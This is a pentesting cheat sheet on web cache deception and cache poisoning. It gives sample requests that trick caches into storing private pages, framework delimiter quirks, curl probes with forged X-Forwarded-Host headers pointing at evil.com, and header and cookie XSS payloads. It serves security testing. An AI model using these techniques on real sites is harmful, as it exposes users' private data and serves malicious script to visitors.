Web Cache

Web cache deception and web cache poisoning

Cache Headers

Header
Provenance
Meaning

X-Cache: HIT

Generic caches (Varnish, Squid)

Response served from the server or proxy cache.

CF-Cache-Status: HIT

Cloudflare (CDN)

Response served from Cloudflare's cache.

Testing

Web Cache Deception

Detection

X-Cache: HIT or CF-Cache-Status: HIT (depending on the cache used)

Cache-Control: public -> That means anyone could potentially retrieve this response.

Example 1

GET /profile HTTP/1.1
Host: example.com

Response :

<html>
  <body>
    <h1>Hello, Admin</h1>
    <p>Email: admin@example.com</p>
  </body>
</html>

This page should not be put in cache

Try adding .jpg / .js / .css

GET /profile.jpg HTTP/1.1
Host: example.com

Example 2

  • Normal Request

GET /profile/setting HTTP/1.1
Host: www.vuln.com

The response is

HTTP/2 200 OK 
Content-Type: text/html
Cf-Cache-Status: HIT 
...
  1. Try to add cacheable extension (For example .js / .css / .jpg, etc.)

GET /profile/setting/.js HTTP/1.1
Host: www.vuln.com

The response is

HTTP/2 200 OK 
Content-Type: text/html
Cf-Cache-Status: HIT 
...

If the Cf-Cache-Status / X-Cache response the request with HIT not MISS or Error. And then try to open the url in incognito mode

Example 3

  1. Add ; before the extension (For example ;.js / ;.css / ;.jpg, etc.)

GET /profile/setting/;.js HTTP/1.1
Host: www.vuln.com

The response is

HTTP/2 200 OK 
Content-Type: text/html
Cf-Cache-Status: HIT 
...

If the Cf-Cache-Status / X-Cache response the request with HIT not MISS or Error. And then try to open the url in incognito mode

Other things to test:

  • www.example.com/profile.php/.js

  • www.example.com/profile.php/.css

  • www.example.com/profile.php/test.js

  • www.example.com/profile.php/../test.js

  • www.example.com/profile.php/%2e%2e/test.js

  • Use lesser known extensions such as .avif

Exemple 4

/profile isn’t getting cached... but /assets/* is

/assets/..%2f/profile

Credits: https://x.com/medusa_0xf/status/1926245574065405991

Burp extension

Delimiters

See below for more information - Sourcce: https://www.youtube.com/watch?v=9gvxEhugnVM

Spring

Matrix variales use of semicolon to add parameters

  • /user;params/home -> /user/home

  • /Myaccount;a.js -> MyAccount

Rails

Response format specifiers use dot to render views

  • /MyAccount -> Default view: myaccount.html.erb

  • /MyAccount.css -> view: myaccount.css.erb

  • /MyAccount.aaa -> Default view: myaccount.html.erb

  • /MyAccount.ico -> Default view: myaccount.html.erb

OpenLiteSpeed

Encoded null as delimiter

  • /MyAccount%00a.js -> /MyAccount

Nginx

Encoded new line as delimiter if rewrite is enabled

rewrite /user/(.*) /account/$1 break;
  • /user/MyAccount%0a.js -> /account/MyAccount

Decode Path

  • /%68%65%6C%6C%6F -> /hello

  • /hello%2Fworld%2Ehtml -> /hello/world.html

Segment Normalization

  • /hello/../world -> /world

  • /hello\world -> /hello/world

Static Path

  • /MyAccount$%2F%2E%2E%2Fstatic%2Fwcd -> /MyAccount/../static/wcd

Front End - Path Normalization : /static/wcd Back End - $ is delimiter : /Myaccount

For example, this is the case whe CloudFront/Azure/Imperva is combined with Tomcat

Web Cache Poisoning

Detection

Query parameters

curl -I "https://victime.com/?x=evil

Look for evil and X-Cache: HIT / CF-Cache-Status: HIT in the response

Headers

curl -I https://victime.com/ -H "X-Forwarded-Host: evil.com"

Look for evil.com in the response

curl -I https://victime.com/ -H "X-Original-URL: /malicious-path"

If the response contains X-Cache: HIT / CF-Cache-Status: HIT and the returned page is malicious or incorrect, it means the cache has been poisoned.

curl -I https://victime.com/ -H "X-Forwarded-For: 1.2.3.4"

If the server sends a response with X-Cache: HIT / CF-Cache-Status: HIT and the page corresponds to a malicious page (e.g., an error page or an admin page), it is possible that the cache has been poisoned with an incorrect response.

curl -I https://victime.com/ -H "X-Original-URL: /profile" -H "X-Forwarded-For: 1.2.3.4" -H "X-Forwarded-Host: evil.com"

XSS

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Example 2:

GET /home HTTP 1.1
Host: server.com
Cookie: user=<script>alert()</script>
HTTP/1.1 200 OK
Content-Type: text/html
Cache-control: public, max-age=3600

Hello User <script>alert()</script>

Param Miner - Burp Extension

Right-click on a request that you want to investigate and click "Guess headers"

Tools

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Resources

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

Last updated